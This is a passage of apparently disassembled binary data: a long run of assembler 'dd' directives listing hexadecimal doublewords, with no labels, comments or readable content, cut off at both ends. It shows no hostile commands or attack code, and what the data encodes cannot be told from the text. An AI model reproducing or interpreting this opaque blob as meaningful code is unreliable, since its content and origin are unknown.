9D27FCC6h, 743800F0h dd 0D1E4DB7h, 782C193Ah, 73414CF9h, 0A220579Ah, 0E0285CF3h dd 5FAE79C0h, 0AF002237h, 0ED4BE125h, 9C2EB1h, 0B27BE46Fh dd 965D21C3h, 0A5713000h, 24AEE132h, 17B0B8ACh, 1E52D93h dd 0CEAD1500h, 802D1Ch, 0F60B2062h, 0A8F5720Ah, 0C407C0h dd 0B3A97056h, 5DDFA657h, 0ABEB2B1Eh, 44006C24h, 77ED0B7Ah dd 0B8911F22h, 0A9F9F21h, 5BC134Ah, 40752B6Bh, 70D6B928h dd 0D90E1DA7h, 40A4EC34h, 0C95B8A59h, 9F39050Ah, 0D526EB0Ch dd 90A78504h, 5A790604h, 2611E899h, 24D78E02h, 50C11B7Dh dd 8C5A7017h, 77FC521Eh, 4A8801BFh, 0FAAB68DDh, 0BE5D2440h dd 0A8C85344h, 9A33200h, 84E7CE47h, 0BA972E01h, 0EA73EF1Eh dd 76AA0C74h, 9A20015Eh, 3F4D846Eh, 0A9188009h, 1DDCE742h dd 38720482h, 0E403E480h, 7702D71Ch, 0D6DBC3E0h, 0CBCCC0EFh dd 680A0082h, 359B46A8h, 0D902FB7Ah, 0DB9503FCh, 0C1486392h dd 0DC628290h, 37DC8400h, 659A2AB5h, 0FDF6EA05h, 918053E5h dd 15E1DF8Bh, 881B0ABEh, 0AF1CD900h, 60450229h, 97ECB600h dd 0AAB015C4h, 9A2C01D7h, 9E2B7E41h, 1811E8F5h, 32039C5h dd 6A4F1DC0h, 8C10ED3h, 9122AA74h, 0E481FC76h, 0CD5F3753h dd 0BDC470C9h, 0D4227B89h, 385D4003h, 2FE8C434h, 5A0373BBh dd 0F60B9D3h, 62D18855h, 400A6298h, 72251A31h, 71ADD482h dd 0CB2824C0h, 4CAE6C01h, 0E959C040h, 1D008C92h, 5D63B120h dd 938B3Fh, 83C6C7CDh, 1488969Bh, 0AB7B4207h, 3914D34h dd 34340559h, 0DF120727h, 1E4878E2h, 7506B1A0h, 400794D0h dd 8E99AB77h, 39D11037h, 9C203B87h, 0E8C23F81h, 856A0B82h dd 685A8352h, 93533300h, 57888035h, 0BFAA00E2h, 8606F67Ah dd 0C4FE96DDh, 60727838h, 692C1B31h, 9D8A0021h, 4A6D3F7h dd 403FE4E9h, 62EE802Eh, 6B306813h, 127B904Ah, 771E82h dd 42F93496h, 22ECBA8h, 0A7110015h, 3E306B00h, 83C7DA9Bh dd 8C921E00h, 766CA0F3h, 6F1000B4h, 0C6D8D288h, 849C8219h dd 41B3168Ch, 4C7B030Ch, 0DF4B0FB4h, 0D6C008D8h, 18B24A09h dd 904478h, 24700640h, 0A5D114EDh, 2FD56B04h, 0A090621Ch dd 0E4FB5ECEh, 819E0110h, 74B32C3Eh, 41C0D88Ah, 0FA4BAA02h dd 52DC0ED0h, 3E0378E0h, 444C7062h, 0B68C670Ch, 9C757658h dd 6F099090h, 488299BDh, 0E40122A4h, 90F6B03Eh, 6248093Ch dd 5C48830Ah, 0ED0BD35Eh, 7E5A4Ch, 8F1DF3D2h, 64FC967Fh dd 0F0882A0h, 3C021D20h, 40100030h, 4A1986C0h, 8B01FCEh dd 8CD2D026h, 98F68563h, 28FA634Fh, 9CCC2B82h, 0C00495Ch dd 0A9575CF6h, 60E69718h, 4EC4AA0h, 0DF57539h, 2058C9EBh dd 5B0C3EC0h, 2873827Ah, 25623B4Fh, 0DDE0F978h, 20694ACEh dd 0E07C4658h, 0F85E5C00h, 560B1E66h, 0D1F900DFh, 0B8972909h dd 913A508Ch, 404B18h, 60B717Ch, 81F49E8Dh, 0B2DFB001h dd 0C482EEC8h, 0AA202122h, 98668240h, 187403E7h, 634BF5EEh dd 0A09A801h, 0D72FDBBh, 8E701847h, 0CD45E2h, 0AA925011h dd 56BFCB62h, 409BBE01h, 98958F30h, 24C6020h, 84AE707Bh dd 4590AFAh, 0A1F81200h, 17931DAh, 43B0F25Eh, 300469FCh dd 588907D4h, 0EEE8B049h, 0D3600374h, 0DC5ED5Fh, 91000A8Bh dd 265DCE56h, 78B046A2h, 7FD20031h, 0D7321ACFh, 24986664h dd 30181D3Bh, 68A951E3h, 2841DEA0h, 0FC99F4h, 1FF7DE88h dd 0E7007BECh, 548746D3h, 206DCAh, 0E21543BDh, 0A668F770h dd 0FD41F060h, 4805686h, 0E9DCBE29h, 0EC88B45Fh, 5C00EE7Bh dd 963817B0h, 1237DDFFh, 3D72B71h, 1E801CA8h, 816936AFh dd 80141048h, 2E1F0A53h, 58304CBh, 80823698h, 766EAA7Ch dd 0D8451730h, 90D7FD48h, 60A80A24h, 17BC9502h, 4F2C0535h dd 37C40094h, 6A8C5240h, 17670DF0h, 51D11261h, 0ABC0D458h dd 11130E81h, 21C0FB68h, 0E1E43E1Fh, 4DF4724h, 0C24A0401h dd 0D980EA58h, 7D219C85h, 0A800457Bh, 5EB152CAh, 169554Ah dd 0EFAF8DFEh, 809BD16Fh, 95945788h, 9903418Ch, 3ADA0B18h dd 8A167400h, 0B500ABF4h, 61BC7B7Ch, 2EB4E9DFh, 1ED8A3DBh dd 0CCA1E79Ah, 0F8256360h, 69007C4Fh, 964E81F1h, 9653772h dd 0E1985CFh, 6044B419h, 25848F4h, 0D725C000h, 58EE7C11h dd 9002C60h, 0B3568C9Dh, 0D7A08FA1h, 6B48F97Eh, 0FFA71110h dd 51467001h, 35D44D1Dh, 72A3E0CCh, 0CCB2C800h, 8FA50E1Eh dd 0EC4318ABh, 4BBE7993h, 920C858h, 616DC2C4h, 18F57ED4h dd 7C0BF073h, 0A01182B7h, 3A89402Eh, 45F5B25h, 0E643B0h dd 80575FEBh, 0A912540Eh, 80908248h, 327483E3h, 9B500EEh dd 0AA3B0D0h, 5D339AC7h, 803DE08Fh, 78B6A5D4h, 4B7A4B9Ch dd 0E800B0E4h, 2322F59h, 68037000h, 382C5A2Eh, 1F6E07DFh dd 0C56B8C93h, 2AD84065h, 0F3E4AB9Fh, 0A7D6B100h, 3AE12CD2h dd 3E181855h, 1246302Fh dd 0BC384A3h, 0C9BC43C7h, 906A6800h, 6BE0DC9Fh, 44D4CDAh dd 0BABCBEC0h, 6D0FBDF7h, 3FE22A4h, 0C477EA1h, 541CAE88h dd 9D0B0381h, 80785261h, 1049E582h, 3087142h, 2BACD43Eh dd 2809B0E6h, 9074067Dh, 78DBDA7Ch, 0D26D03D0h, 2245EE8Dh dd 408BABC1h, 0E3387390h, 5A4AFD1Eh, 9CD06512h, 921E0A17h dd 58320024h, 50F7A1B2h, 0E00451E7h, 52F6665h, 8243C083h dd 0FA28C458h, 0EB283CD7h, 0C056479Dh, 124B9941h, 1068DC0Dh dd 6560F851h, 72477F9h, 2817A036h, 0A1EB8059h, 9C045661h dd 9566CDD1h, 0B8D2C4D1h, 2ACE9471h, 3F600128h, 407E18A1h dd 0E535735Ch, 0AFF75802h, 90790625h, 48DADF84h, 0CD0348C9h dd 19622A6h, 40290BB1h, 50723C84h, 0B74074B6h, 0A32193h dd 0A8C6C816h, 0CF11DC7Dh, 6463B648h, 6A30B188h, 0F0BCA2EAh dd 0BB77800h, 5ADA32A0h, 41F009FFh, 8AD6048Eh, 6C151C18h dd 13BDAB54h, 0AC008597h, 9522824Eh, 0D9703218h, 90D21629h dd 0C3C87600h, 5D4BB092h, 992A0AFCh, 100333h, 36769FF0h dd 700627Eh, 69D8134Ah, 7038A11h, 0C0287BCEh, 0A94C1D2h dd 0B8C0F2CFh, 0C8C236D1h, 0E30D6F66h, 0C42D9AA0h, 408C9E30h dd 0FE1D7CB3h, 155A15Ch, 27108B65h, 2180588Fh, 483A33F1h dd 20985FC7h, 0F8CAFE03h, 0B05AB279h, 5367099h, 0BB31FD71h dd 92EC07A9h, 0ED36016h, 71DF2738h, 4F3E3300h, 68579Ah dd 9BB9961Ah, 3A537B35h, 3C5BD524h, 0CEFA8E38h, 30AA27BEh dd 3433FD0h, 0B626047Bh, 0C252ACC6h, 0AE20E334h, 78F8239h dd 0D7D8030Fh, 3D71E0A5h, 2200724Bh, 53D956C0h, 75C15DCFh dd 0A1DB2F6Bh, 4231BC90h, 44E3E005h, 0A3058929h, 50C80AC2h dd 61FB1C4Ch, 15EBC195h, 0F081DBD5h, 0BF00E8D3h, 70F2BA5Bh dd 74C1AAE4h, 0BC593B36h, 0B53CEB3Ah, 4E2C9901h, 0C43FEF3Ah dd 1B00AB96h, 0B4AC3715h, 0D0C5F0h, 0BC844883h, 9A69A368h dd 0D0E4907h, 80C5DE32h, 4AD5283h, 128ED559h, 58C7005Ah dd 75B316Ah, 0EE8CBFDAh, 60B490DEh, 140CBDC6h, 39C20679h dd 0CF560050h, 248EE01Dh, 1502CA46h, 0FBEDB70Eh, 47CF800Fh dd 0CEB585h, 62E9AA17h, 0AE8AB410h, 602F495Ch, 3428E470h dd 3E50DE2Dh, 5D51BB06h, 4F071146h, 761A6078h, 0E2193540h dd 2CF32C89h, 0A7626D9h, 8788E68Eh, 7055FAB7h, 0C2056772h dd 953C1907h, 0A7505296h, 7B3BFCD1h, 13BD078Dh, 0D224A22Eh dd 0A8988FD5h, 67C91A4h, 0B6BD3E0Ch, 36119EEh, 9B49EC4h dd 6601667Fh, 0A3F3478h, 92D42D29h, 30563765h, 6D3D10B1h dd 91591ACh, 94C707h, 0AAFFC8D6h, 0A15837h, 0B3108041h dd 4B166345h, 22EFDF05h, 24406A48h, 4AB40C85h, 792705AAh dd 401D8FCEh, 65A7A0D0h, 0F500B215h, 6680072Fh, 0E56ABBh dd 94682EB7h, 62A7C7E2h, 86EFDE07h, 8DC083DFh, 1D7E2F6Eh dd 12026110h, 0BA000815h, 792E568Dh, 16A14D0h, 5A775D50h dd 10128FCBh, 0AAA9BAh, 0B8CA7C2Fh, 2E845B86h, 24C37600h dd 22B9A73Fh, 0A02F019Ah, 0F155EFD9h, 4CF05067h, 0D23AF599h dd 29D80F92h, 0D1B6C0A5h, 58B762D0h, 3C096DE7h, 4C078404h dd 17E00AAh, 6100EE9Ah, 8D955233h, 0B54B18h, 0DFEAC5FBh dd 6EA58205h, 9A10CA01h, 4B61E320h, 0F5BF443h, 0F2B34F08h dd 0DB308158h, 0CCEE0F03h, 2442E4Ch, 0A49387B8h, 7C80495Dh dd 700AC789h, 2F39F298h, 72AD8DBh, 673EC148h, 84294Ch dd 0DDE98058h, 0C503E357h, 8206FE75h, 0CE76B63Ch, 0EAF0FB90h dd 0BD49098Eh, 2420EDC3h, 3FAB284Eh, 0FE0FDFE8h, 75290873h dd 38B530C0h, 181CBA5Fh, 19D106A1h, 6B0096ABh, 0A72AF35Bh dd 17409FCh, 4F8C4263h, 0DCFDD761h, 653EB4BFh, 0F16D3049h dd 7C2B83h, 3EF756AEh, 8E7AB7D0h, 0C4E40854h, 603E12F2h dd 1F520031h, 0DD7C37CDh, 0F3AC0015h, 4B4550BAh, 783BC9C5h dd 89A1635Dh, 15C0DFE1h, 48724h, 0D574A526h, 867EFF06h dd 5E8F4918h, 48BC5181h, 0E386ACADh, 0D3F019ABh, 39D8B70Eh dd 15D08027h, 90753E2Bh, 95F00C4h, 0E354302Dh, 31D6BEDEh dd 19992701h, 0F38EDFh, 8A910651h, 65DABE2Dh, 0C85A9F00h dd 0F4AF0C1Ah, 0FEDB3DA5h, 4B19E200h, 0E4BD2617h, 4DADD922h dd 0D70B308Fh, 9680E9C5h, 2EF39AA8h, 0CAD6410Fh, 13A380CDh dd 0AACE738h, 108EEEB7h, 60B2809Ch, 0CF6D707h, 3D341300h dd 0A0C55632h, 7D480F87h, 2B2A2879h, 89F760E8h, 56057ABEh dd 29FCC5D3h, 0EE214F86h, 0AE2F30F1h, 0FAA24298h, 0C0137200h dd 0FB0F212Eh, 3CB21F9Eh, 20C84192h, 0EC9010D8h, 9301DED3h dd 0E4A84835h, 0D9BCBFB7h, 678F7105h, 0F7400756h, 0F0B220C7h dd 0D89907F4h, 9F17DA00h, 2036A46h, 0F7B7A7CDh, 6860DF1Dh dd 2B01E1ECh, 0BBC69C1Fh, 0F98616C9h, 41C4EDE3h, 613C5630h dd 816A5Bh, 71A6C7D2h, 93A71F68h, 94D3CB00h, 979B2792h dd 49620979h, 0F491636Dh, 1721D240h, 50E04661h, 0E3130023h dd 3F0CF8B6h, 0E105059Ch, 35F14410h, 28A49040h, 2AF2171h dd 0D57816E7h, 0B88326A2h, 0C0A46FA5h, 9A3C8970h, 0DC063090h dd 7A17D21Bh, 0F29C1B20h, 55BA4932h, 89837960h, 59092F19h dd 0B8EC1722h, 7F17DEAh, 24E63BDAh, 39EC2022h, 30B1B0BDh dd 5820F116h, 636B4Ah, 9172C96Ah, 0C2BC7EFAh, 0F02818B1h dd 0D37C3698h, 0F13A5D30h, 493530h, 0ABBE3CCBh, 34BD9C56h dd 96AD000h, 0A2C1C486h, 9B141220h, 2D140853h, 0E2FCB684h dd 65812081h, 60F7E88Fh, 88805D89h, 0B9DCB664h, 0D21C5558h dd 1EB8B701h, 0A0FE06CDh, 0D2A57DB8h, 892F00B9h, 7F4839C4h dd 0BD610701h, 143C2C21h, 0E4706ECh, 8FCA6DCCh, 400C4B9Eh dd 702D5D81h, 5822F2h, 5B0BF4ABh, 16A1B8Eh, 49131705h dd 0E422C19Fh, 0ED0AADFDh, 0DD645F16h, 82DA090Bh, 98707A20h dd 3E77BA88h, 169F0661h, 0B3ED80D3h, 697B21D2h, 80B8273Ch dd 0B7413BCBh, 0B70E9h, 0D87C1174h, 8350E4DEh, 6618D0E1h dd 3C924918h, 0CEBC0699h, 0E1CF9CD1h, 9252CAE0h, 29017C8Eh dd 8C33B583h, 0CC62A8E4h, 84169853h, 275505FDh, 2F48C2A1h dd 0A86C9210h, 7C4DD9FCh, 0B2E62657h, 4C36068h, 50998FE8h dd 0C225AA05h, 58A400FEh, 6C8E05EDh, 2BAFA103h, 0A87975D4h dd 0ACBA62Eh, 442DF054h, 7C1B61C4h, 0B0337034h, 3295A901h dd 8B08855Fh, 3420C8CDh, 27C703E1h, 9AF3F1B1h, 20D379C1h dd 11018880h, 0B374D2D5h, 6C625655h, 0D712A200h, 0EA7D7A34h dd 0ECFDA9E2h, 0C007E767h, 0F278D2CDh, 3DCF489Ch, 58F8FDDEh dd 5F0FAC2Ah, 43415BEBh, 70654190h, 442C5554h, 0E160508Ch dd 0AABAFDh, 5D5BA4CBh, 0DC4CDBFh, 0AE00B7F8h, 3BE66462h dd 20B1BC6Ah, 0FF095A19h, 4992D28h, 6CD1F060h, 0CC603447h dd 0DEF7242Bh, 7A9501CBh, 628FA709h, 0DFB005Ch, 0BB3D73A9h dd 0CB2A03E6h, 0E109F8B9h, 67655CA8h, 5F357802h, 82314C83h dd 28C1E3D4h, 0C53A6188h, 47932007h, 50431B00h, 0C4845FCCh dd 0A9732E1Fh, 98039834h, 7900D3F1h, 852E6D54h, 0ABA45Eh dd 8C284AEAh, 7F195B0Ah, 88171307h, 0F1F5B6D7h, 80EAA400h dd 2F7902Eh, 8378E9E5h, 48C0CA48h, 9BEC5BDFh, 0C90122h dd 150F81B0h, 4006D718h, 809DD300h, 4A3A2F79h, 19CE2485h dd 7DFB60BCh, 0DA006AE7h, 8F528335h, 7281401h, 0CBFF1345h dd 7876C384h, 96D020DDh dd 3200A3DFh, 0DE7FAB5Dh, 0F92A0CBh, 0FBD397CAh, 0DB68F3E0h dd 0B216B516h, 0E40F3B7Bh, 9890ABBBh, 0DC6418h, 0BE4F9823h dd 0D714D4CBh, 2B82C900h, 9BB2B0C5h, 78D5587Dh, 94B40300h dd 0AB9E8854h, 8C998F75h, 0A23F5B40h, 31412228h, 1C9A492Eh dd 0C1ED6543h, 7420FBB3h, 0F87300D8h, 2856C133h, 0CCF898FFh dd 7EA21600h, 1C4BA748h, 0AC695020h, 0CC3F4EDh, 1AC4BC7Ch dd 8718ACB9h, 6B693D56h, 13800E65h, 15004AD7h, 0E5A875E1h dd 0F6E73A00h, 3BAEB6BDh, 1A49967h, 982C0C9Dh, 3565D4CBh dd 5AF7A513h, 51ACC406h, 0D9D80308h, 28471F5Fh, 3C823E88h dd 788E8C28h, 0FEF30B0Eh, 2E84E029h, 8F18AA9h, 6D98498Bh dd 0C82C8380h, 0E47510DFh, 0DA880DB4h, 0C041EC8Fh, 340C5FA7h dd 70D53130h, 80D89401h, 6157982Bh, 1E02214Fh, 27E8FF9h dd 1A440C6h, 2A353129h, 0FD6010C9h, 51682043h, 0F1774812h dd 0D30F8C90h, 1B0409ADh, 980E283Eh, 16D706F1h, 24305FBCh dd 4058067Ah, 3388AB9Bh, 98A90100h, 56D726D6h, 114D24DAh dd 3005139Ch, 2DE4CB84h, 830491Ch, 0AC509F00h, 506BD0D9h dd 0D2F0FDh, 54962D6Eh, 0F1148B59h, 742E49h, 0F64A9127h dd 0E6D4C33Eh, 6DF0F7E7h, 0CE460092h, 0DD2D83BDh, 0B8907BC6h dd 222CC75Ch, 0E58F3047h, 0D5ECD481h, 0BDA74103h, 0E89B9AB2h dd 60F1AC9Dh, 1FD86928h, 5B003564h, 833FFB7Dh, 188785Fh dd 0BF7442DEh, 0C0F54117h, 9000FDDFh, 0E07F46D5h, 7966B537h dd 5F4A16h, 8F630550h, 8D805A11h, 0CDF2012Ch, 0E66BA412h dd 5F06EC4Ah, 4EC8B7A3h, 5D001379h, 357EA3C5h, 0B0568E7Ch dd 0FA7024h, 65A5E03Eh, 0C19A7A2Bh, 0F0CC648h, 71498708h dd 2F0E43Ch, 9B7DDBDEh, 70E4F12Ah, 0D4441707h, 16516255h dd 0D2D482E8h, 0B8D12E05h, 0FA060098h, 0D57A521Ch, 0EFBD7500h dd 6B6C3084h, 48D27DB6h, 0B0516C7Fh, 0E0C79089h, 0D90FE306h dd 54F56FA0h, 0A2394BE8h, 568194EDh, 0EE8383BCh, 0A819A828h dd 75980005h, 3988B6C5h, 0AE08408Dh, 803DF20Dh, 52AB6A3Eh dd 0A00DE57h, 0FCD8598h, 716FA7Fh, 1AF5FC80h, 0EC104B32h dd 7E3D13CAh, 0F254009Dh, 80F70C1h, 4FF16BBh, 0DC851Dh dd 168CE970h, 4CEFB479h, 3D7694C8h, 0D0139EFCh, 60CC43DBh dd 12F61Ah, 45FF3FBh, 0E5FC103Dh, 357BEE00h, 972B2441h dd 0CE892CBDh, 0AFBC8B54h, 2AFC6410h, 4955A1C0h, 0B096918Fh dd 0EB8A05A9h, 806DD3EEh, 1B5DA7CCh, 25E08D3Dh, 246CA006h dd 1C6BAE66h, 0C0C88694h, 294ADA6Ch, 0BD0A3AB0h, 0EC9ED58Dh dd 97D18069h, 0AAC521h, 77021595h, 19093EDEh, 57032FF8h dd 72287E11h, 44E0FECEh, 0AC0040B5h, 3D811E7Ah, 3EBC7F4Eh dd 0C168BFC3h, 43F43330h, 37880BE8h, 0FB598003h, 0B9087165h dd 7E0A178h, 0B88C48FAh, 8017AD15h, 0D2D1AA02h, 0BCE6A0C5h dd 2C1C3700h, 685FAEC0h, 8CFB02B6h, 908DC402h, 3060F8CAh dd 0BCB9674Eh, 8A522400h, 3AF4F554h, 0B400DA16h, 0D3C5D42Ah dd 7D4EA565h, 1C6DE420h, 0EAB63A1Ah, 0F09A5100h, 75CE9C3Eh dd 1435622h, 0E7D37493h, 0F8385F69h, 0A400E8C8h, 18E4519Ah dd 626B4910h, 4828F934h, 0BB794480h, 27078495h, 0B33C174Bh dd 498664Ch, 496C10F5h, 3004A563h, 0A10B9CE9h, 855F60DEh dd 5C80D1CBh, 9036F6E9h, 1C72E25h, 20401674h, 76D9B728h dd 5301CDE8h, 441C03DAh, 9C607E1Dh, 296B04F6h, 0B53B287Ah dd 80782C90h, 0CC1C0794h, 285407C7h, 0F2F86C1h, 0D4171040h dd 0A604A4B7h, 0ECE41598h, 0C2B4CA4h, 8C9F0930h, 5A28E960h dd 170807Ch, 2C77FE01h, 741321F7h, 8100D833h, 0AF4AE81Ah dd 82F271DAh, 8FECF809h, 8E1886AAh, 0D1361F99h, 83A8C0FEh dd 0DAB620BAh, 0C600A0FEh, 3227B72Ch, 12ED7EFFh, 9006A1C5h dd 0C429E36Ch, 960098B8h, 61B262B8h, 0F55CA1Fh, 2B79A032h dd 82CC8C80h, 18727874h, 137A6025h, 0FE6C9234h, 99120006h dd 1A267FAEh, 4CD9B800h, 0FDCF32CAh, 0F3B5092Dh, 59005F10h dd 0D896CCB7h, 1E4F712h, 0D367F820h, 0DF7368h, 32BE28A3h dd 0A67556F4h, 0F5A2741Fh, 0B81E0640h, 0A5342A5h, 0B0702D84h dd 0F7D17F8h, 1C610334h, 53373629h, 183B9E88h, 0DA540007h dd 8BB2FD5Dh, 0F98078C2h, 524AD20h, 0E0E6BC4Dh, 0F6CB279h dd 0E08CD82Dh, 7B7624BEh, 0C14016Eh, 2BC6A62Ah, 21383050h dd 0F3C58C0Bh, 1C10277Fh, 60440A29h, 38F33F64h, 0AB8F060Fh dd 740C809Dh, 0B8260439h, 5509F4F8h, 807707C7h, 5CDFE7F0h dd 5E7D17F3h, 0D5C01222h, 0C55867B4h, 0DE388892h, 93540C07h dd 6100CE23h, 0F84FB962h, 0C5BC2D84h, 2444CA1h, 78B450B4h dd 5B0BA472h, 805304DAh, 50F42E71h, 601758C2h, 0BC1E0C52h dd 292068B7h, 90567Fh, 0F53064FBh, 1F002A4Ah, 7C4F6EB1h dd 13AA81D5h, 908FBC8Ch, 0BEFF44CCh, 2DAAF4Ch, 964730Ah dd 29AEC02Dh, 84BB33h, 0C4B67118h, 740AD411h, 38672B54h dd 0E68E7702h, 109241AFh, 2AA1270h, 0B7B6A4FDh, 0C0D9A20Dh dd 9907A728h, 0BEFF5F1h, 642528B0h, 0C8880062h, 8CEB2F9Eh dd 99006032h, 0E05FB722h, 1211105h, 94591BB6h, 50C80209h dd 0C7EBAE80h, 2CB26B00h, 213854FDh, 0F4DF004Eh, 357682BEh dd 6E24A897h, 641608D5h, 76794061h, 83C899E3h, 0EF11E878h dd 74D317B1h, 862E8A01h, 80220208h, 0A79D3300h, 0E6D5219Bh dd 15F3800h, 6EBBA3EFh, 8A640254h, 0CE32C712h, 0C001A4E6h dd 6634224Dh, 92F0D482h, 0B862EE0Bh, 1724007Ch, 0B85DDEFFh dd 8D602C33h, 322B51A8h, 7B6C035Fh, 1DB59A78h, 59480E4h dd 23050BCh, 83A991CFh, 5B533DB6h, 0CE1D400h, 0CFB387BAh dd 0F8BED703h, 0CCACC423h, 75F18080h, 444C9032h, 9050706Dh dd 0BC3A7AD8h, 5858CBACh, 91F21688h, 0C17A006Ch, 0D82A8E83h dd 0FFEB8407h, 7EB20634h, 0E408C2D5h, 9CF73CC8h, 0FE371B02h dd 0FCC075AAh, 0BF4CF1B4h, 5C4E3CF0h, 593D34C4h, 370708Ch dd 83CF8E96h, 0A5A8ADDBh, 560B7357h, 8076F6FDh, 8AB79104h dd 0F1C404CEh, 2C3C29h, 697A16B5h, 205F4CD3h, 51A08528h dd 11E4F856h, 761F0EEh, 7917F3D2h, 0F2891EB7h, 0F8260090h dd 0FB5D0F00h, 932A66A0h, 6190A19Ah, 40342811h, 52FFDD34h dd 0E20188C1h, 861B46Ah, 7AE060EAh, 257577D3h, 0C0A0D4BFh dd 487EAB79h, 5890863Dh, 0FEDC0B34h, 10758972h, 6056700Ch dd 5DC56142h, 842E2FE1h, 0A300E943h, 19F8D146h, 0F8075247h dd 0E620280Eh, 14FBA8A0h, 8FE67AB0h, 58AFC803h, 0D8E52A74h dd 9BC5F90h, 3529E8E1h, 0F02D70B8h, 705C8F24h, 0BC655A02h dd 33F85AB6h, 599907FDh, 0E677B7h, 84550691h, 8365A604h dd 0A0C3FEB4h, 27290362h, 7A8ADF9Fh, 70F08CCCh, 5FBD3F2Eh dd 0EE4FF61Ch, 0A8B8E069h, 75485234h, 0FB6D13B1h, 0F4B40111h dd 2095D6B6h, 0B025DA50h, 7F98100Ch, 6B8C097Ah, 0EF829748h dd 10F82E1Bh, 55DF0707h, 0DE40208Fh, 90CBFC45h, 0BB53090h dd 387E2320h, 0C0B7E318h, 97B35D1h, 872D29CBh, 0B45FA407h dd 972C80BFh, 0BD50258Bh, 0D83A1DD8h, 4869BD9Eh, 9C2F075Ch dd 8529B317h, 903054F6h, 0F12FE57h, 0CEA10DE9h, 3B19B38Ch dd 2480CD2Eh, 194B1600h, 987AA646h, 5BA71D30h, 6C5C3C84h dd 81814121h, 373D664Bh, 0BE1C420h, 4D961BC8h, 32DF1201h dd 7D389844h, 21F2C48h dd 2239120Dh, 0C04187BBh, 25AC766Dh, 80D09370h, 0C015C8h dd 295F9EAAh, 0DC32E251h, 49824A02h, 0C1D7F8BBh, 7C33D928h dd 1E37DE07h, 0E68A0F63h, 0AEBC096Ch, 0DA029C90h, 58F0055Ch dd 884A18h, 43BA05FBh, 2F5508Ah, 20587FE8h, 811E8841h dd 0F7F1BDF8h, 80FC8B60h, 0FE990216h, 7FEAC58Fh, 6A49840h dd 50802CB6h, 0E5D65501h, 91F41503h, 1C0034E9h, 160F432Ch dd 56139E26h, 0B800174Eh, 0FD62F9A7h, 7D19054Ah, 8806FF67h dd 0A4079114h, 6D814F55h, 20B0A130h, 809096F1h, 0DF601514h dd 8E034B3Fh, 0D1BEF069h, 111AE0C6h, 72042C6Bh, 0D8771B7Ch dd 49C0CBE8h, 0BC919968h, 0B9D62D00h, 1B7857Fh, 16861ACAh dd 30D784E6h, 2BE39444h, 913C0421h, 3169DE4h, 0BFA1DC6Ch dd 0A9583328h, 0AB6E251Ch, 40648Ch, 0A62EC6D7h, 5D0D1B53h dd 308EF12Ch, 0EF1FF340h, 24A00048h, 0B4A27D6Ch, 0E0E4E8E3h dd 0B742E0A6h, 6656FF07h, 0B94ACF16h, 0BEF560FCh, 0E800992Dh dd 79F2BBFAh, 448E9013h, 2707510Fh, 47D18D14h, 0F1ABD4B3h dd 4072C3BCh, 0D8F59204h, 3E5E8Fh, 0C64D43E3h, 0F20E28h dd 2352F327h, 1029BF34h, 8677B304h, 0DC825B32h, 6CC4015h dd 0B7E505E9h, 0F49C490Ah, 4848797Ch, 0CE127482h, 6C8885E0h dd 9DF70037h, 0B4E7737Fh, 7B004F3Ah, 65443B10h, 2EC64E49h dd 0F7CB8D7h, 8EA34D75h, 0CEF0BE2Dh, 72126014h, 9C422380h dd 202EF27Eh, 0CC819440h, 74605600h, 9D17EA70h, 2DC600EBh dd 0FDB50F7Dh, 0B4919149h, 1D833429h, 0C8EE63A8h, 87CE658h dd 2BF1DCADh, 61DDD780h, 1749CABh, 0E0661AECh, 6C28C3CEh dd 5A7E80B0h, 0ABB4F5h, 1694B8F7h, 995DDB6Bh, 55DC2516h dd 0AC8C890h, 5E511DD4h, 783E4086h, 0CB83EDAAh, 1DD84100h dd 5DA890E9h, 24B0882Eh, 8F00CAF8h, 19609CB7h, 73F78854h dd 0E21B09A3h, 888BB6E7h, 0BCD35C02h, 2560BC56h, 4E90576Dh dd 773C202Fh, 3E051645h, 55F08FF1h, 3E8048B4h, 0B2049FDFh dd 98D5889Eh, 8D047F94h, 2E295417h, 498F7888h, 0C2602009h dd 0D7A3C789h, 637C431Eh, 7060D300h, 9A169CF6h, 536E14A0h dd 7B87B807h, 10C4C7C1h, 0C02CE088h, 528EFD17h, 4A64CC8h dd 0D36BFA6Ah, 0AAAC88F1h, 463FF200h, 5E129B59h, 3BB40301h dd 564029C4h, 688E392Ch, 58A1C740h, 1ECD1EE0h, 0B027C7E9h dd 0D6519007h, 0A300CBE8h, 9937C093h, 14120F7h, 0C4D933C7h dd 2BD86EABh, 0C9358020h, 73740120h, 0AB376505h, 6807DDDBh dd 0A93883DCh, 0E87D9B3Fh, 373287h, 7262578h, 76A20A65h dd 0FE158616h, 4E1F6400h, 4A230EDFh, 81082027h, 0CE005BCBh dd 0C70820ADh, 0E2E334C3h, 5CFB0130h, 62108357h, 0E4073023h dd 8010EF4Ch, 3F7B982Eh, 4BB40BE6h, 0A002871Ch, 0E429B5AAh dd 0A8FE0154h, 0E3887B2Bh, 0A39BD0ECh, 4C022307h, 5620523Ah dd 2F7E4A64h, 0FC906B49h, 0F5001963h, 0B9852E70h, 0E35330D0h dd 2ED8F4E8h, 190D5C3h, 0D3A4B2F9h, 19A46834h, 0DA0879A1h dd 0E0705EF9h, 7E2D1328h, 80561F7Ah, 781480EDh, 16096543h dd 11E6E347h, 3030D50Ch, 20286022h, 7A0B622Fh, 6B341600h dd 79D38FA6h, 98DBEB9Ch, 0C8C0EA44h, 739863B0h, 59A2F120h dd 0BD0360D8h, 0D006CFE1h, 7E9D6100h, 925CC684h, 0C520062h dd 0BC618C35h, 0F31F224Ah, 0A84CEA0h, 54B8FE6Ch, 4C7CEB80h dd 0A2009F3Fh, 858BE1C9h, 0B8C24A97h, 0EC2D3007h, 2E80E8F0h dd 0EEB4A800h, 0D0ED7E3Eh, 214A4F2Ch, 71EBFBE4h, 462DE4A3h dd 0E418C4A2h, 0A626BB9Ch, 0A8136C2Bh, 3E74F030h, 8A8AA8Bh dd 7E01909Eh, 60F21745h, 0FC715980h, 0A77359F4h, 74EC7507h dd 0F2CFB4C2h, 0A394E4h, 7579A83h, 0D2D46BDCh, 6582C504h dd 10904456h, 0E826289Bh, 0FEB000F2h, 661DB6F6h, 14B1C2BCh dd 0F8B1A800h, 488202D6h, 58C090C4h, 1A63FB98h, 0E36A7B00h dd 0C529F9F8h, 89794EE9h, 5ACC36ECh, 0FF9FC02h, 19FCE102h dd 3F6C48D8h, 3E2EBF17h, 0DFF660D8h, 0C01D9983h, 0FC8E15E5h dd 0BAECA097h, 0C56F9849h, 0CCB7B429h, 9100DB34h, 0CEB86213h dd 0EEB3BEA3h, 10E9012Dh, 6B7963DFh, 78EC85Fh, 9DB6C1C0h dd 0E6FE9FB9h, 